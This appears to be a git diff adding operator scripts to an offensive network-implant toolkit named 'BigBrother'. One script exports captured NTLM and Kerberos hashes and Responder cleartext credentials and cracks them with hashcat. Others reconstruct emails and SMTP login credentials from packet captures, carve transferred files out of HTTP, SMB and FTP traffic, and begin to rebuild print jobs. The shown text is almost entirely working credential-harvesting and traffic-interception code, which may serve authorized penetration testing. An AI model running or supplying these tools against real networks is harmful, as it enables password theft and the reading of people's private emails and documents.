|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"target_service": "responder_cleartext",
|
||||||
|
"credential_type": "cleartext",
|
||||||
|
"credential_value": line,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
Executable
+248
@@ -0,0 +1,248 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# BigBrother Operator Script — Export and Crack Captured Hashes
|
||||||
|
#
|
||||||
|
# Exports credentials from BigBrother's credential database and Responder
|
||||||
|
# logs into hashcat-ready format. Optionally runs hashcat with common
|
||||||
|
# wordlists and rule sets.
|
||||||
|
#
|
||||||
|
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# ./crack_hashes.sh ./bb-pull-20240115 # Export only
|
||||||
|
# ./crack_hashes.sh ./bb-pull-20240115 --crack # Export + crack
|
||||||
|
# ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
|
||||||
|
#
|
||||||
|
# Requires: sqlite3, hashcat (optional)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Arguments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
DATA_DIR="${1:-}"
|
||||||
|
DO_CRACK=false
|
||||||
|
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
|
||||||
|
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"
|
||||||
|
|
||||||
|
shift || true
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case "$1" in
|
||||||
|
--crack) DO_CRACK=true ;;
|
||||||
|
--wordlist) WORDLIST="$2"; shift ;;
|
||||||
|
--rules) RULES_FILE="$2"; shift ;;
|
||||||
|
*) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
|
||||||
|
esac
|
||||||
|
shift
|
||||||
|
done
|
||||||
|
|
||||||
|
if [[ -z "$DATA_DIR" ]]; then
|
||||||
|
echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
|
||||||
|
echo ""
|
||||||
|
echo "Options:"
|
||||||
|
echo " --crack Run hashcat after export"
|
||||||
|
echo " --wordlist <path> Wordlist for cracking (default: rockyou.txt)"
|
||||||
|
echo " --rules <path> Hashcat rules file (default: best64.rule)"
|
||||||
|
echo ""
|
||||||
|
echo "Environment:"
|
||||||
|
echo " HASHCAT_WORDLIST Default wordlist path"
|
||||||
|
echo " HASHCAT_RULES Default rules file path"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
|
||||||
|
mkdir -p "$OUTPUT_DIR"
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
|
||||||
|
echo -e " Data dir: ${DATA_DIR}"
|
||||||
|
echo -e " Output: ${OUTPUT_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Export from credential database
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
CRED_DB="$DATA_DIR/databases/credentials.db"
|
||||||
|
TOTAL_HASHES=0
|
||||||
|
|
||||||
|
if [[ -f "$CRED_DB" ]]; then
|
||||||
|
echo -e "${YELLOW}[*] Exporting from credential database...${NC}"
|
||||||
|
|
||||||
|
# NTLMv2 hashes (hashcat mode 5600)
|
||||||
|
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
|
||||||
|
> "$OUTPUT_DIR/ntlmv2_5600.txt" || true
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||||
|
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||||
|
echo -e " NTLMv2 (5600): ${count}"
|
||||||
|
|
||||||
|
# NTLMv1 hashes (hashcat mode 5500)
|
||||||
|
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
|
||||||
|
> "$OUTPUT_DIR/ntlmv1_5500.txt" || true
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||||
|
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||||
|
echo -e " NTLMv1 (5500): ${count}"
|
||||||
|
|
||||||
|
# Kerberos TGS (hashcat mode 13100)
|
||||||
|
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
|
||||||
|
> "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
|
||||||
|
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||||
|
echo -e " Kerberos TGS (13100): ${count}"
|
||||||
|
|
||||||
|
# Kerberos AS-REP (hashcat mode 18200)
|
||||||
|
sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
|
||||||
|
> "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
|
||||||
|
TOTAL_HASHES=$((TOTAL_HASHES + count))
|
||||||
|
echo -e " Kerberos AS-REP (18200): ${count}"
|
||||||
|
|
||||||
|
# Cleartext credentials (no cracking needed)
|
||||||
|
sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
|
||||||
|
> "$OUTPUT_DIR/cleartext.txt" || true
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
|
||||||
|
echo -e " ${GREEN}Cleartext: ${count}${NC}"
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}[*] No credential database found${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Export from Responder logs
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
RESPONDER_DIR="$DATA_DIR/responder"
|
||||||
|
if [[ -d "$RESPONDER_DIR" ]]; then
|
||||||
|
echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"
|
||||||
|
|
||||||
|
# Collect NTLMv2 hashes from Responder log files
|
||||||
|
for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
|
||||||
|
[[ -f "$hashfile" ]] || continue
|
||||||
|
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
|
||||||
|
done
|
||||||
|
|
||||||
|
for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
|
||||||
|
[[ -f "$hashfile" ]] || continue
|
||||||
|
cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
|
||||||
|
done
|
||||||
|
|
||||||
|
# Deduplicate
|
||||||
|
for f in "$OUTPUT_DIR"/*.txt; do
|
||||||
|
[[ -f "$f" ]] || continue
|
||||||
|
sort -u "$f" -o "$f"
|
||||||
|
done
|
||||||
|
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
|
||||||
|
echo -e " NTLMv2 total (deduped): ${count}"
|
||||||
|
count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
|
||||||
|
echo -e " NTLMv1 total (deduped): ${count}"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Remove empty files
|
||||||
|
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summary of unique users
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
|
||||||
|
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
|
||||||
|
[[ -f "$hashfile" ]] || continue
|
||||||
|
mode=$(basename "$hashfile" | grep -o '[0-9]*')
|
||||||
|
echo -e " ${CYAN}Mode $mode:${NC}"
|
||||||
|
cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/ /'
|
||||||
|
total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
|
||||||
|
if [[ $total -gt 20 ]]; then
|
||||||
|
echo -e " ... ($total total)"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Crack with hashcat (optional)
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if $DO_CRACK; then
|
||||||
|
if ! command -v hashcat &>/dev/null; then
|
||||||
|
echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -f "$WORDLIST" ]]; then
|
||||||
|
echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] Running hashcat...${NC}"
|
||||||
|
echo -e " Wordlist: ${WORDLIST}"
|
||||||
|
echo -e " Rules: ${RULES_FILE}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
POTFILE="$OUTPUT_DIR/hashcat.potfile"
|
||||||
|
|
||||||
|
# Crack each hash type
|
||||||
|
for hashfile in "$OUTPUT_DIR"/*.txt; do
|
||||||
|
[[ -f "$hashfile" ]] || continue
|
||||||
|
basename_hash=$(basename "$hashfile")
|
||||||
|
|
||||||
|
# Skip cleartext and already-cracked
|
||||||
|
[[ "$basename_hash" == "cleartext.txt" ]] && continue
|
||||||
|
[[ "$basename_hash" == "cracked_"* ]] && continue
|
||||||
|
|
||||||
|
# Extract hashcat mode from filename
|
||||||
|
mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
|
||||||
|
if [[ -z "$mode" ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
count=$(wc -l < "$hashfile")
|
||||||
|
if [[ $count -eq 0 ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"
|
||||||
|
|
||||||
|
# Run hashcat — dictionary + rules
|
||||||
|
hashcat -m "$mode" -a 0 \
|
||||||
|
"$hashfile" "$WORDLIST" \
|
||||||
|
-r "$RULES_FILE" \
|
||||||
|
--potfile-path "$POTFILE" \
|
||||||
|
--outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
|
||||||
|
--outfile-format 2 \
|
||||||
|
-O \
|
||||||
|
2>/dev/null || true
|
||||||
|
|
||||||
|
cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
|
||||||
|
echo -e " ${GREEN}Cracked: $cracked / $count${NC}"
|
||||||
|
echo ""
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Cracking summary
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Cracking complete${NC}"
|
||||||
|
echo -e " Potfile: $POTFILE"
|
||||||
|
echo ""
|
||||||
|
echo -e "${CYAN}[*] Cracked credentials:${NC}"
|
||||||
|
for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
|
||||||
|
[[ -f "$cracked" ]] || continue
|
||||||
|
echo -e " ${GREEN}$(basename $cracked):${NC}"
|
||||||
|
head -20 "$cracked" | sed 's/^/ /'
|
||||||
|
done
|
||||||
|
else
|
||||||
|
echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
|
||||||
|
echo " Run with --crack to start cracking"
|
||||||
|
echo ""
|
||||||
|
echo " Manual cracking examples:"
|
||||||
|
echo " hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
|
||||||
|
echo " hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
|
||||||
|
echo " hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
|
||||||
|
fi
|
||||||
Executable
+188
@@ -0,0 +1,188 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# BigBrother Operator Script — Extract Emails from PCAPs
|
||||||
|
#
|
||||||
|
# Extracts SMTP email messages from network captures. Reconstructs
|
||||||
|
# complete emails including headers, body, and attachments.
|
||||||
|
#
|
||||||
|
# Unencrypted SMTP (port 25/587 without STARTTLS) is still common on
|
||||||
|
# internal networks, especially between mail servers and printers/scanners.
|
||||||
|
#
|
||||||
|
# Usage: ./extract_emails.sh <pcap_dir> [output_dir]
|
||||||
|
#
|
||||||
|
# Requires: tshark
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Arguments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
PCAP_DIR="${1:-}"
|
||||||
|
OUTPUT_DIR="${2:-$(pwd)/extracted-emails-$(date +%Y%m%d-%H%M%S)}"
|
||||||
|
|
||||||
|
if [[ -z "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! command -v tshark &>/dev/null; then
|
||||||
|
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
mkdir -p "$OUTPUT_DIR"/{raw,parsed,attachments,summary}
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] BigBrother Email Extraction${NC}"
|
||||||
|
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||||
|
echo -e " Output: ${OUTPUT_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Extract SMTP sessions
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
EMAIL_COUNT=0
|
||||||
|
ATTACHMENT_COUNT=0
|
||||||
|
|
||||||
|
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||||
|
[[ -f "$pcap" ]] || continue
|
||||||
|
basename_pcap=$(basename "$pcap")
|
||||||
|
echo -e "${YELLOW}[*] Scanning: ${basename_pcap}${NC}"
|
||||||
|
|
||||||
|
# Check for SMTP traffic
|
||||||
|
has_smtp=$(tshark -r "$pcap" -Y "smtp || tcp.port == 25 || tcp.port == 587" -c 1 2>/dev/null | wc -l)
|
||||||
|
if [[ "$has_smtp" -eq 0 ]]; then
|
||||||
|
echo -e " (no SMTP traffic)"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Export IMF (Internet Message Format) objects
|
||||||
|
imf_dir="$OUTPUT_DIR/raw/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$imf_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||||
|
|
||||||
|
imf_count=$(find "$imf_dir" -type f 2>/dev/null | wc -l)
|
||||||
|
if [[ $imf_count -gt 0 ]]; then
|
||||||
|
echo -e " ${GREEN}Found $imf_count email messages${NC}"
|
||||||
|
EMAIL_COUNT=$((EMAIL_COUNT + imf_count))
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract SMTP streams for raw analysis
|
||||||
|
streams=$(tshark -r "$pcap" -Y "tcp.dstport == 25 && tcp.len > 0" \
|
||||||
|
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||||
|
|
||||||
|
for stream_id in $streams; do
|
||||||
|
stream_file="$OUTPUT_DIR/raw/smtp_stream_${stream_id}.txt"
|
||||||
|
|
||||||
|
# Follow the TCP stream
|
||||||
|
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||||
|
> "$stream_file" 2>/dev/null || true
|
||||||
|
|
||||||
|
if [[ ! -s "$stream_file" ]]; then
|
||||||
|
rm -f "$stream_file"
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Extract email metadata
|
||||||
|
from=$(grep -i "^MAIL FROM:" "$stream_file" 2>/dev/null | head -1 | sed 's/MAIL FROM://i' | tr -d '<> ' || echo "unknown")
|
||||||
|
to=$(grep -i "^RCPT TO:" "$stream_file" 2>/dev/null | head -1 | sed 's/RCPT TO://i' | tr -d '<> ' || echo "unknown")
|
||||||
|
subject=$(grep -i "^Subject:" "$stream_file" 2>/dev/null | head -1 | sed 's/Subject: //i' || echo "(no subject)")
|
||||||
|
|
||||||
|
if [[ -n "$from" || -n "$to" ]]; then
|
||||||
|
# Write summary
|
||||||
|
{
|
||||||
|
echo "Stream: $stream_id"
|
||||||
|
echo "From: $from"
|
||||||
|
echo "To: $to"
|
||||||
|
echo "Subject: $subject"
|
||||||
|
echo "File: $stream_file"
|
||||||
|
echo "---"
|
||||||
|
} >> "$OUTPUT_DIR/summary/email_index.txt"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Also check port 587 (submission)
|
||||||
|
streams_587=$(tshark -r "$pcap" -Y "tcp.dstport == 587 && tcp.len > 0" \
|
||||||
|
-T fields -e tcp.stream 2>/dev/null | sort -un)
|
||||||
|
|
||||||
|
for stream_id in $streams_587; do
|
||||||
|
stream_file="$OUTPUT_DIR/raw/smtp_587_stream_${stream_id}.txt"
|
||||||
|
tshark -r "$pcap" -q -z "follow,tcp,ascii,${stream_id}" \
|
||||||
|
> "$stream_file" 2>/dev/null || true
|
||||||
|
|
||||||
|
[[ -s "$stream_file" ]] || rm -f "$stream_file"
|
||||||
|
done
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Parse extracted emails for attachments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Scanning for attachments...${NC}"
|
||||||
|
|
||||||
|
for email_file in "$OUTPUT_DIR"/raw/*/*.eml "$OUTPUT_DIR"/raw/*/email_* 2>/dev/null; do
|
||||||
|
[[ -f "$email_file" ]] || continue
|
||||||
|
|
||||||
|
# Look for MIME boundaries indicating attachments
|
||||||
|
if grep -qi "Content-Disposition: attachment\|Content-Transfer-Encoding: base64" "$email_file" 2>/dev/null; then
|
||||||
|
ATTACHMENT_COUNT=$((ATTACHMENT_COUNT + 1))
|
||||||
|
filename=$(grep -i "filename=" "$email_file" 2>/dev/null | head -1 | sed 's/.*filename="\?\([^"]*\)"\?.*/\1/' || echo "unknown")
|
||||||
|
echo -e " Attachment found: ${filename} in $(basename $email_file)"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Extract SMTP auth credentials
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Scanning for SMTP credentials...${NC}"
|
||||||
|
|
||||||
|
cred_file="$OUTPUT_DIR/summary/smtp_credentials.txt"
|
||||||
|
for stream_file in "$OUTPUT_DIR"/raw/smtp_*.txt; do
|
||||||
|
[[ -f "$stream_file" ]] || continue
|
||||||
|
|
||||||
|
# Look for AUTH LOGIN or AUTH PLAIN
|
||||||
|
if grep -q "AUTH LOGIN\|AUTH PLAIN" "$stream_file" 2>/dev/null; then
|
||||||
|
echo -e " ${GREEN}SMTP auth found in $(basename $stream_file)${NC}"
|
||||||
|
grep -A 3 "AUTH" "$stream_file" >> "$cred_file" 2>/dev/null || true
|
||||||
|
echo "---" >> "$cred_file"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summary
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}[+] Email extraction complete${NC}"
|
||||||
|
echo -e " Emails found: ${EMAIL_COUNT}"
|
||||||
|
echo -e " Attachments found: ${ATTACHMENT_COUNT}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
if [[ -f "$OUTPUT_DIR/summary/email_index.txt" ]]; then
|
||||||
|
echo -e "${CYAN}[*] Email index:${NC}"
|
||||||
|
head -30 "$OUTPUT_DIR/summary/email_index.txt" | sed 's/^/ /'
|
||||||
|
total_indexed=$(grep -c "^Stream:" "$OUTPUT_DIR/summary/email_index.txt" 2>/dev/null || echo 0)
|
||||||
|
if [[ $total_indexed -gt 5 ]]; then
|
||||||
|
echo -e " ... ($total_indexed total — see $OUTPUT_DIR/summary/email_index.txt)"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ -f "$cred_file" ]]; then
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}[+] SMTP credentials saved to: $cred_file${NC}"
|
||||||
|
echo -e " (base64 encoded — decode with: echo '<value>' | base64 -d)"
|
||||||
|
fi
|
||||||
Executable
+134
@@ -0,0 +1,134 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# BigBrother Operator Script — Extract Files from PCAPs
|
||||||
|
#
|
||||||
|
# Uses tshark to extract transferred files from PCAP captures.
|
||||||
|
# Supports HTTP objects, SMB file transfers, FTP data, and TFTP.
|
||||||
|
#
|
||||||
|
# Usage: ./extract_files.sh <pcap_dir> [output_dir]
|
||||||
|
#
|
||||||
|
# Examples:
|
||||||
|
# ./extract_files.sh ./bb-pull-20240115/pcaps
|
||||||
|
# ./extract_files.sh /opt/cases/acme/pcaps /opt/cases/acme/extracted
|
||||||
|
#
|
||||||
|
# Requires: tshark (Wireshark CLI)
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
RED='\033[0;31m'
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
CYAN='\033[0;36m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Arguments
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
PCAP_DIR="${1:-}"
|
||||||
|
OUTPUT_DIR="${2:-$(pwd)/extracted-files-$(date +%Y%m%d-%H%M%S)}"
|
||||||
|
|
||||||
|
if [[ -z "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}Usage: $0 <pcap_dir> [output_dir]${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -d "$PCAP_DIR" ]]; then
|
||||||
|
echo -e "${RED}[-] PCAP directory not found: $PCAP_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Check dependencies
|
||||||
|
if ! command -v tshark &>/dev/null; then
|
||||||
|
echo -e "${RED}[-] tshark not found — install with: apt install tshark${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Create output structure
|
||||||
|
mkdir -p "$OUTPUT_DIR"/{http,smb,ftp,tftp,dicom,imf}
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] BigBrother File Extraction${NC}"
|
||||||
|
echo -e " PCAP dir: ${PCAP_DIR}"
|
||||||
|
echo -e " Output: ${OUTPUT_DIR}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Extract files from each PCAP
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
PCAP_COUNT=0
|
||||||
|
HTTP_COUNT=0
|
||||||
|
SMB_COUNT=0
|
||||||
|
FTP_COUNT=0
|
||||||
|
|
||||||
|
for pcap in "$PCAP_DIR"/*.pcap "$PCAP_DIR"/*.pcapng; do
|
||||||
|
[[ -f "$pcap" ]] || continue
|
||||||
|
PCAP_COUNT=$((PCAP_COUNT + 1))
|
||||||
|
basename_pcap=$(basename "$pcap")
|
||||||
|
echo -e "${YELLOW}[*] Processing: ${basename_pcap}${NC}"
|
||||||
|
|
||||||
|
# HTTP objects (downloads, uploads, pages)
|
||||||
|
echo -e " Extracting HTTP objects..."
|
||||||
|
http_dir="$OUTPUT_DIR/http/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$http_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "http,$http_dir" 2>/dev/null || true
|
||||||
|
count=$(find "$http_dir" -type f 2>/dev/null | wc -l)
|
||||||
|
HTTP_COUNT=$((HTTP_COUNT + count))
|
||||||
|
echo -e " ${GREEN}Found $count HTTP objects${NC}"
|
||||||
|
|
||||||
|
# SMB file transfers
|
||||||
|
echo -e " Extracting SMB objects..."
|
||||||
|
smb_dir="$OUTPUT_DIR/smb/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$smb_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "smb,$smb_dir" 2>/dev/null || true
|
||||||
|
count=$(find "$smb_dir" -type f 2>/dev/null | wc -l)
|
||||||
|
SMB_COUNT=$((SMB_COUNT + count))
|
||||||
|
echo -e " ${GREEN}Found $count SMB objects${NC}"
|
||||||
|
|
||||||
|
# FTP data streams
|
||||||
|
echo -e " Extracting FTP data..."
|
||||||
|
ftp_dir="$OUTPUT_DIR/ftp/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$ftp_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "ftp-data,$ftp_dir" 2>/dev/null || true
|
||||||
|
count=$(find "$ftp_dir" -type f 2>/dev/null | wc -l)
|
||||||
|
FTP_COUNT=$((FTP_COUNT + count))
|
||||||
|
echo -e " ${GREEN}Found $count FTP objects${NC}"
|
||||||
|
|
||||||
|
# TFTP transfers
|
||||||
|
echo -e " Extracting TFTP data..."
|
||||||
|
tftp_dir="$OUTPUT_DIR/tftp/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$tftp_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "tftp,$tftp_dir" 2>/dev/null || true
|
||||||
|
|
||||||
|
# IMF (email) objects
|
||||||
|
echo -e " Extracting email objects..."
|
||||||
|
imf_dir="$OUTPUT_DIR/imf/${basename_pcap%.pcap*}"
|
||||||
|
mkdir -p "$imf_dir"
|
||||||
|
tshark -r "$pcap" --export-objects "imf,$imf_dir" 2>/dev/null || true
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summary
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
if [[ $PCAP_COUNT -eq 0 ]]; then
|
||||||
|
echo -e "${RED}[-] No PCAP files found in $PCAP_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
TOTAL=$(find "$OUTPUT_DIR" -type f ! -name "*.md" 2>/dev/null | wc -l)
|
||||||
|
|
||||||
|
echo -e "${GREEN}[+] Extraction complete${NC}"
|
||||||
|
echo -e " PCAPs processed: ${PCAP_COUNT}"
|
||||||
|
echo -e " Total files: ${TOTAL}"
|
||||||
|
echo -e " HTTP objects: ${HTTP_COUNT}"
|
||||||
|
echo -e " SMB objects: ${SMB_COUNT}"
|
||||||
|
echo -e " FTP objects: ${FTP_COUNT}"
|
||||||
|
echo ""
|
||||||
|
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||||
|
echo ""
|
||||||
|
echo -e "${CYAN}[*] Review extracted files for sensitive data:${NC}"
|
||||||
|
echo " - Documents: find $OUTPUT_DIR -name '*.doc*' -o -name '*.pdf' -o -name '*.xls*'"
|
||||||
|
echo " - Config: find $OUTPUT_DIR -name '*.conf' -o -name '*.ini' -o -name '*.xml'"
|
||||||
|
echo " - Scripts: find $OUTPUT_DIR -name '*.ps1' -o -name '*.bat' -o -name '*.sh'"
|
||||||
Executable
+152
@@ -0,0 +1,152 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# BigBrother Operator Script — Extract Print Jobs from PCAPs
|
||||||
|
#
|
||||||
|
# Reconstructs print jobs from TCP/9100 (JetDirect/RAW) traffic captured
|
||||||
|
# in PCAPs. Converts PCL/PostScript to PDF using Ghostscript.
|
||||||
|
#
|
||||||
|
# Print traffic is often unencrypted and contains sensitive documents:
|
||||||
|
# HR letters, financial reports, legal docs, network diagrams, etc.
|
||||||
|
